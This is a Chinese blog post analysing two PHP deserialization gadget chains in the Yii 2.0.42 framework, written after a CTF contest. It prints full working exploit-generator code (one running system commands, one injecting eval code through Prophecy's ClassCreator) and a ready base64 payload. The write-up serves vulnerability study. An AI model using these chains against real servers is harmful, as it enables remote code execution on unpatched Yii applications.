Yii2.0.42反序列化分析(一)

前不久刚结束的祥云杯考到了当时最新的YII2.0.42反序列化的考点,当时有师傅已经分析构造出了exp,恰巧那篇文章在比赛期间没删,导致那题成了签到题,赛时ctrl c,v,赛后当然还是要自己来分析一波原理。

环境搭建

https://github.com/yiisoft/yii2-app-basic/releases 官方最新版本已经更新到2.0.43,直接github拉取的项目会缺少一部分文件,所以还是用composer进行下载

  1. composer create-project --prefer-dist yiisoft/yii2-app-basic yii2


反序列化入口文件代码还是老样子

  1. <?php
  2. /***
  3. * Created by joker
  4. * Date 2021/9/5 23:47
  5. ***/
  6. namespace app\controllers;
  7. use Yii;
  8. use yii\web\Controller;
  9. class AxinController extends \yii\web\Controller
  10. {
  11. public function actionDeser($data)
  12. {
  13. return unserialize(base64_decode($data));
  14. }
  15. }

漏洞分析

全局搜索__destruct魔术方法,2.0.38版本之前的几条链子的入口都还在,但是每一个对应的文件都添加了一个__wakeup魔术方法来修补了反序列化的漏洞

手上的版本是2.0.43的,而漏洞在2.0.42版本,确定了漏洞起点,临时注释掉2.0.43修补2.0.42版本反序列化增加的__wakeup魔术方法即可

POP1

vendor\codeception\codeception\ext\RunProcess.php,在2.0.42版本中只有这个类是没有加上上面的修补反序列化的代码的

思路还是差不多,反序列化时触发stopProcess()方法,方法中array_reverse会对$this->processes数组变量进行翻转,这里只需传递单个数组值就可以,下面就是找跳板,全局搜索定位__call()魔术方法
vendor\fakerphp\faker\src\Faker\ValidGenerator.php

do,while循环语句,不管判断条件是否成立,do中的语句都会执行一次,$this->generator可控,$this->validator也可控,只需要$res可控,那么就可以达到RCE的效果,call_user_func_array在这里只能当作跳板,调用任意类的任意方法,需要再找一个__call()魔术方法,并且返回结果可控的;继续全局搜索__call()
vendor\fakerphp\faker\src\Faker\DefaultGenerator.php

$this->default变量完全可控,那也就意味着$res可控,也就可以RCE了,链子串一串exp也就出来了,因为exp中弹的计算器,所以$this->maxRetries在赋值的时候要写小一点

  1. <?php
  2. /***
  3. * Created by joker
  4. * Date 2021/9/7 16:35
  5. ***/
  6. namespace Faker;
  7. class DefaultGenerator{
  8. protected $default;
  9. function __construct()
  10. {
  11. $this->default = 'calc.exe';
  12. }
  13. }
  14. class ValidGenerator{
  15. protected $generator;
  16. protected $validator;
  17. protected $maxRetries;
  18. function __construct()
  19. {
  20. $this->generator = new DefaultGenerator();
  21. $this->maxRetries = '10';
  22. $this->validator = 'system';
  23. }
  24. }
  25. namespace Codeception\Extension;
  26. use Faker\ValidGenerator;
  27. class RunProcess{
  28. private $processes;
  29. function __construct()
  30. {
  31. $this->processes = [new ValidGenerator()];
  32. }
  33. }
  34. echo base64_encode(serialize(new RunProcess()));

生成一下payload,打一下,谈了10个计算器哈哈哈

POP2

pop2这条链就是当时比赛那道题的考察点,应该是YII所有反序列化中最为复杂的一条利用链了,分析一波,分析完会发现这条链真的是运气所致,一切都是那么正正好
起手点还是pop1中提到的那里,就不看了,直接来看定位到的另一处__call魔术方法
这里的跳板选择了vendor\phpspec\prophecy\src\Prophecy\Prophecy\ObjectProphecy.php中的__call()魔术方法,看断点处

在本类中存在一个reveal方法,如果不使用本类的该方法会自动调用其他类中的该方法,仔细跟进完会发现那样子走pop链是利用不起来的,所以只能让$this->revealer为该类的一个实例来调用类中的该方法

$this->lazyDouble可控,赋值为存在getInstance()的类对象,跟进getInstance()方法

$this->double$this->arguments都可控,此处进步进入if判断的语句都没有区别,最后调用的方法都是一样的,$this->doubler可控,跟进double方法,确认存在该方法的类,再对$this->doubler进行实例化类赋值即可,$this->class$this->interfaces的赋值需要根据double方法的参数类型来确定

这里需要提一下ReflectionClass类,该类是PHP中的反射类,通过new ReflectionClass($classname)可以构建一个类的反射类,这里的if判断中会判断$interface是否是该反射类的实例化对象或者是否实现了该类中的某个接口。都知道的php有一个异常处理类Exception,用ReflectionClass类构建异常处理类的反射类,就能够避免上面代码中异常抛出,程序也就能够走到断点处了。验证这一想法,本地写一个小例子

所以到这里,前面留下的几个参数赋值到这里就能够解决了

  1. $this->class = new \ReflectionClass('Exception');
  2. $this->argument = array('joker'=>'joker');//数组内容随意填写,无影响
  3. $this->interfaces[] = new \ReflectionClass('Exception');

接着跟进createDoubleClass方法
vendor\phpspec\prophecy\src\Prophecy\Doubler\Doubler.php

主要的利用部分在断点处,$name$node,根据代码逻辑来看是不可控的参数,这里就要用到POP1中后面的跳板方法,只需要让$this->namer$this->mirror实例化为DefaultGenerator类对象就可以了,这里的$this->patch参数不需要管,并不影响代码执行到断点处。
create方法,确认$name$node参数类型
vendor\phpspec\prophecy\src\Prophecy\Doubler\Generator\ClassCreator.php

根据方法中的参数来看,$node需要为Node\ClassNode类对象
这里最后利用的点为断点处,可以插入代码执行,还是用同样的方法来使得$code可控,实例化为DefaultGenerator类对象
这个链到这里就完整了,把链捋一捋串一串,exp也就出来了,不是特别好写,多点耐心

  1. <?php
  2. /***
  3. * Created by joker
  4. * Date 2021/9/7 20:02
  5. ***/
  6. namespace Codeception\Extension;
  7. use Prophecy\Prophecy\ObjectProphecy;
  8. class RunProcess{
  9. private $processes;
  10. function __construct()
  11. {
  12. $a = new ObjectProphecy('1');
  13. $this->processes[] = new ObjectProphecy($a);
  14. }
  15. }
  16. echo base64_encode(serialize(new RunProcess()));
  17. namespace Prophecy\Prophecy;
  18. use Prophecy\Doubler\LazyDouble;
  19. class ObjectProphecy{
  20. private $lazyDouble;
  21. private $revealer;
  22. function __construct($a)
  23. {
  24. $this->revealer = $a;
  25. $this->lazyDouble = new LazyDouble();
  26. }
  27. }
  28. namespace Prophecy\Doubler;
  29. class LazyDouble{
  30. private $doubler;
  31. private $argument;
  32. private $class;
  33. private $interfaces;
  34. function __construct()
  35. {
  36. $this->doubler =new Doubler();
  37. $this->class = new \ReflectionClass('Exception');
  38. $this->argument = array('joker'=>'joker');
  39. $this->interfaces[] = new \ReflectionClass('Exception');
  40. }
  41. }
  42. namespace Prophecy\Doubler\Generator\Node;
  43. class ClassNode{
  44. }
  45. namespace Prophecy\Doubler;
  46. use Prophecy\Doubler\Generator\Node\ClassNode;
  47. use Faker\DefaultGenerator;
  48. use Prophecy\Doubler\Generator\ClassCreator;
  49. class Doubler{
  50. private $mirror;
  51. private $creator;
  52. private $namer;
  53. function __construct()
  54. {
  55. $this->namer = new DefaultGenerator('joker');
  56. $this->mirror = new DefaultGenerator(new ClassNode());
  57. $this->creator = new ClassCreator();
  58. }
  59. }
  60. namespace Faker;
  61. class DefaultGenerator{
  62. protected $default;
  63. function __construct($default)
  64. {
  65. $this->default = $default;
  66. }
  67. }
  68. namespace Prophecy\Doubler\Generator;
  69. use Faker\DefaultGenerator;
  70. class ClassCreator{
  71. private $generator;
  72. function __construct()
  73. {
  74. $this->generator = new DefaultGenerator('eval(phpinfo());');
  75. }
  76. }

生成payload

  1. TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MzI6IlByb3BoZWN5XFByb3BoZWN5XE9iamVjdFByb3BoZWN5IjoyOntzOjQ0OiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAbGF6eURvdWJsZSI7TzoyNzoiUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlIjo0OntzOjM2OiIAUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlAGRvdWJsZXIiO086MjQ6IlByb3BoZWN5XERvdWJsZXJcRG91YmxlciI6Mzp7czozMjoiAFByb3BoZWN5XERvdWJsZXJcRG91YmxlcgBtaXJyb3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO086NDE6IlByb3BoZWN5XERvdWJsZXJcR2VuZXJhdG9yXE5vZGVcQ2xhc3NOb2RlIjowOnt9fXM6MzM6IgBQcm9waGVjeVxEb3VibGVyXERvdWJsZXIAY3JlYXRvciI7TzozOToiUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yIjoxOntzOjUwOiIAUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czoxNjoiZXZhbChwaHBpbmZvKCkpOyI7fX1zOjMxOiIAUHJvcGhlY3lcRG91YmxlclxEb3VibGVyAG5hbWVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6Impva2VyIjt9fXM6Mzc6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAYXJndW1lbnQiO2E6MTp7czo1OiJqb2tlciI7czo1OiJqb2tlciI7fXM6MzQ6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAY2xhc3MiO086MTU6IlJlZmxlY3Rpb25DbGFzcyI6MTp7czo0OiJuYW1lIjtzOjk6IkV4Y2VwdGlvbiI7fXM6Mzk6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAaW50ZXJmYWNlcyI7YToxOntpOjA7TzoxNToiUmVmbGVjdGlvbkNsYXNzIjoxOntzOjQ6Im5hbWUiO3M6OToiRXhjZXB0aW9uIjt9fX1zOjQyOiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAcmV2ZWFsZXIiO086MzI6IlByb3BoZWN5XFByb3BoZWN5XE9iamVjdFByb3BoZWN5IjoyOntzOjQ0OiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAbGF6eURvdWJsZSI7TzoyNzoiUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlIjo0OntzOjM2OiIAUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlAGRvdWJsZXIiO086MjQ6IlByb3BoZWN5XERvdWJsZXJcRG91YmxlciI6Mzp7czozMjoiAFByb3BoZWN5XERvdWJsZXJcRG91YmxlcgBtaXJyb3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO086NDE6IlByb3BoZWN5XERvdWJsZXJcR2VuZXJhdG9yXE5vZGVcQ2xhc3NOb2RlIjowOnt9fXM6MzM6IgBQcm9waGVjeVxEb3VibGVyXERvdWJsZXIAY3JlYXRvciI7TzozOToiUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yIjoxOntzOjUwOiIAUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czoxNjoiZXZhbChwaHBpbmZvKCkpOyI7fX1zOjMxOiIAUHJvcGhlY3lcRG91YmxlclxEb3VibGVyAG5hbWVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6Impva2VyIjt9fXM6Mzc6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAYXJndW1lbnQiO2E6MTp7czo1OiJqb2tlciI7czo1OiJqb2tlciI7fXM6MzQ6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAY2xhc3MiO086MTU6IlJlZmxlY3Rpb25DbGFzcyI6MTp7czo0OiJuYW1lIjtzOjk6IkV4Y2VwdGlvbiI7fXM6Mzk6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAaW50ZXJmYWNlcyI7YToxOntpOjA7TzoxNToiUmVmbGVjdGlvbkNsYXNzIjoxOntzOjQ6Im5hbWUiO3M6OToiRXhjZXB0aW9uIjt9fX1zOjQyOiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAcmV2ZWFsZXIiO3M6MToiMSI7fX19fQ==

打一下

后记

归根到底其实也不全是yii框架的原因,跟用的依赖也有关系。
关于__wakeup()魔术方法,在比赛的时候经常遇到,是能够绕过的,但是尝试的时候没有成功,可能跟PHP的版本也有一定的关系,后面有时间再去细究一下。还有两条链,留待下回分析吧。

  • 发表于 2021-09-16 11:48:52
  • 阅读 ( 7318 )
  • 分类:漏洞分析

0 条评论

joker
joker

19 篇文章